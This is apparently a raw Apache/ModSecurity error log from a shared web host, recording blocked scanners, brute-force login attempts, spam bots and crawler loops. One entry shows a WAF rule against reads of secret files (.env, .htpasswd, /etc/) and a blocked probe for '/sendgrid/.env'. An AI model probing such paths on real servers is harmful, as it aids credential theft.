https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:22:07.985744 2026] [security2:error] [pid 646876:tid 646938] [remote 17.22.253.100:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 100.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30L9yTkdrNlD40tSHLqAAAPTs"] [Sat Jun 13 18:22:08.087848 2026] [security2:error] [pid 715691:tid 715876] [client 149.40.49.4:7948] ModSecurity: Access denied with code 406 (phase 1). Pattern match "^POST$" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "187"] [id "900401"] [msg "PHP Spam Botnet"] [hostname "montgomerycountygreenfest.org"] [uri "/"] [unique_id "ai30MLV-dFiaX9AtWiQXvAAAAS0"] [Sat Jun 13 18:22:08.162808 2026] [access_compat:error] [pid 646876:tid 646971] [remote 57.141.14.34:21516] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:08.163095 2026] [access_compat:error] [pid 646876:tid 646971] [remote 57.141.14.34:21516] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:08.195942 2026] [proxy:error] [pid 715691:tid 715861] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:08.196026 2026] [proxy_http:error] [pid 715691:tid 715861] [client 208.84.100.145:39944] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:08.198317 2026] [proxy:error] [pid 715691:tid 715861] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:08.198393 2026] [proxy_http:error] [pid 715691:tid 715861] [client 208.84.100.145:39944] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:08.209504 2026] [access_compat:error] [pid 646876:tid 646932] [remote 57.141.14.51:49822] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:08.210008 2026] [access_compat:error] [pid 646876:tid 646932] [remote 57.141.14.51:49822] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:08.214135 2026] [security2:error] [pid 646876:tid 646988] [remote 17.22.253.216:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 216.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30MNyTkdrNlD40tSHLtAAABG0"] [Sat Jun 13 18:22:08.353926 2026] [autoindex:error] [pid 715691:tid 715844] [client 124.222.230.178:57316] AH01276: Cannot serve directory /home2/todadata/public_html/website_29909693/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:22:08.471729 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.88:28334] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:08.471992 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.88:28334] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:08.484884 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:22:08.485318 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:22:08.818236 2026] [access_compat:error] [pid 715691:tid 715773] [remote 57.141.14.9:38104] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:08.818692 2026] [access_compat:error] [pid 715691:tid 715773] [remote 57.141.14.9:38104] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:08.837189 2026] [security2:error] [pid 646876:tid 646981] [remote 50.87.144.31:56042] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 31.144.87.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "rhinoglobalenterprises.com"] [uri "/wp-login.php"] [unique_id "ai30MNyTkdrNlD40tSHLxAAAfmY"] [Sat Jun 13 18:22:09.026665 2026] [security2:error] [pid 715691:tid 715766] [remote 152.53.111.131:60380] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.111.53.152.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "teapeak.net"] [uri "/wp-login.php"] [unique_id "ai30MbV-dFiaX9AtWiQXywABWjc"] [Sat Jun 13 18:22:09.028279 2026] [security2:error] [pid 646876:tid 646957] [remote 17.22.237.87:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 87.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30MdyTkdrNlD40tSHLywAACk4"] [Sat Jun 13 18:22:09.070982 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:22:09.071263 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:22:09.080646 2026] [security2:error] [pid 715691:tid 715780] [remote 17.246.23.162:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 162.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30MbV-dFiaX9AtWiQXzQABRkU"] [Sat Jun 13 18:22:09.086756 2026] [security2:error] [pid 646876:tid 647111] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/011.phpt"] [unique_id "ai30MdyTkdrNlD40tSHLzwAAAGc"] [Sat Jun 13 18:22:09.476742 2026] [access_compat:error] [pid 715691:tid 715788] [remote 57.141.14.73:38248] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:09.477174 2026] [access_compat:error] [pid 715691:tid 715788] [remote 57.141.14.73:38248] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:09.578721 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDI= [Sat Jun 13 18:22:09.579014 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDI= [Sat Jun 13 18:22:09.669950 2026] [access_compat:error] [pid 646876:tid 646956] [remote 57.141.14.101:30342] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:09.670357 2026] [access_compat:error] [pid 646876:tid 646956] [remote 57.141.14.101:30342] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:09.898155 2026] [access_compat:error] [pid 715691:tid 715783] [remote 57.141.14.18:24700] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:09.898665 2026] [access_compat:error] [pid 715691:tid 715783] [remote 57.141.14.18:24700] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:09.948551 2026] [security2:error] [pid 715691:tid 715879] [client 149.40.49.4:44591] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "montgomerycountygreenfest.org"] [uri "/sendgrid/.env"] [unique_id "ai30MbV-dFiaX9AtWiQX8QAAATA"] [Sat Jun 13 18:22:10.030131 2026] [security2:error] [pid 715691:tid 715768] [remote 17.22.245.183:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30MrV-dFiaX9AtWiQX9wABNDk"] [Sat Jun 13 18:22:10.076928 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:22:10.077430 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:22:10.085979 2026] [access_compat:error] [pid 646876:tid 646923] [remote 57.141.14.40:31690] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:10.086419 2026] [access_compat:error] [pid 646876:tid 646923] [remote 57.141.14.40:31690] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:10.151136 2026] [access_compat:error] [pid 715691:tid 715827] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:10.151528 2026] [access_compat:error] [pid 715691:tid 715827] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:10.237722 2026] [access_compat:error] [pid 715691:tid 715821] [remote 57.141.14.53:58180] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:10.238161 2026] [access_compat:error] [pid 715691:tid 715821] [remote 57.141.14.53:58180] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:10.286098 2026] [proxy:error] [pid 715691:tid 715855] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:10.286148 2026] [proxy_http:error] [pid 715691:tid 715855] [client 208.84.100.145:28654] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:10.286842 2026] [proxy:error] [pid 715691:tid 715855] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:10.286880 2026] [proxy_http:error] [pid 715691:tid 715855] [client 208.84.100.145:28654] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:10.290348 2026] [security2:error] [pid 715691:tid 715843] [client 149.40.49.4:46285] ModSecurity: Access denied with code 406 (phase 1). Pattern match "^POST$" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "187"] [id "900401"] [msg "PHP Spam Botnet"] [hostname "montgomerycountygreenfest.org"] [uri "/"] [unique_id "ai30MrV-dFiaX9AtWiQYBgAAAQw"] [Sat Jun 13 18:22:10.345754 2026] [security2:error] [pid 715691:tid 715824] [remote 209.74.93.184:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 184.93.74.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "levantsoleil.com"] [uri "/wp-login.php"] [unique_id "ai30MrV-dFiaX9AtWiQYCgABbHE"] [Sat Jun 13 18:22:10.606620 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:22:10.607084 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:22:10.713087 2026] [security2:error] [pid 715691:tid 715751] [remote 2001:41d0:303:6e97::1:0] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "sergil.net"] [uri "/robots.txt"] [unique_id "ai30MrV-dFiaX9AtWiQYIgABHik"] [Sat Jun 13 18:22:10.713317 2026] [security2:error] [pid 715691:tid 715861] [client 2001:41d0:303:6e97::1:0] ModSecurity: Warning. Matched phrase "MJ12bot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "sergil.net"] [uri "/robots.txt"] [unique_id "ai30MrV-dFiaX9AtWiQYIgABHik"] [Sat Jun 13 18:22:10.780680 2026] [security2:error] [pid 646876:tid 646991] [remote 190.92.141.186:55176] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.141.92.190.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ladyrapunzel.habeshacontacts.com"] [uri "/wp-login.php"] [unique_id "ai30MtyTkdrNlD40tSHMCAAAc3A"] [Sat Jun 13 18:22:10.992694 2026] [lsapi:warn] [pid 646876:tid 646903] [remote 40.77.167.43:23467] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n [Sat Jun 13 18:22:10.992730 2026] [lsapi:warn] [pid 646876:tid 646903] [remote 40.77.167.43:23467] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on line 696\n [Sat Jun 13 18:22:11.099733 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:22:11.100201 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 